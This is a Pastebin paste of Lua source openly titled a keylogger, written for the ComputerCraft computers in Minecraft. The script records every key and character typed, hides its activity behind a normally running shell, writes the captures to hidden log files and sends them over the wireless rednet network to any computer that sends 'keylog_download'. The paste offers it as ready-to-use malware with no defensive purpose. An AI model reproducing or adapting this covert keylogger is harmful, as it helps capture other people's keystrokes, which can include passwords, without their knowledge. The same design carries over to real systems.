Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Keylogger
- local keys = {}
- local x,y = term.getSize()
- for _, side in pairs( rs.getSides() ) do
- if peripheral.getType(side) == "modem" and peripheral.call(side, "isWireless") then
- rednet.open(side)
- break
- end
- end
- local function klog()
- while true do
- local event,key = os.pullEvent()
- if event == "char" then
- table.insert(keys,key)
- elseif event == "key" then
- table.insert(keys,key)
- end
- end
- end
- local function rdnt()
- while true do
- local id,msg = rednet.receive()
- if msg == "keylog_download" then
- rednet.send(id,textutils.serialize(keys))
- elseif msg == "keylog_save" then
- local file = fs.open(".logs/."..os.time(),"w")
- file.write(textutils.serialize(keys))
- file.close()
- end
- end
- end
- local function kshell()
- lshell = window.create(term.native(),1,1,x,y,true)
- term.redirect(lshell)
- shell.run("shell")
- end
- while true do
- parallel.waitForAny(klog,kshell,rdnt)
- end
Advertisement
Add Comment
Please, Sign In to add comment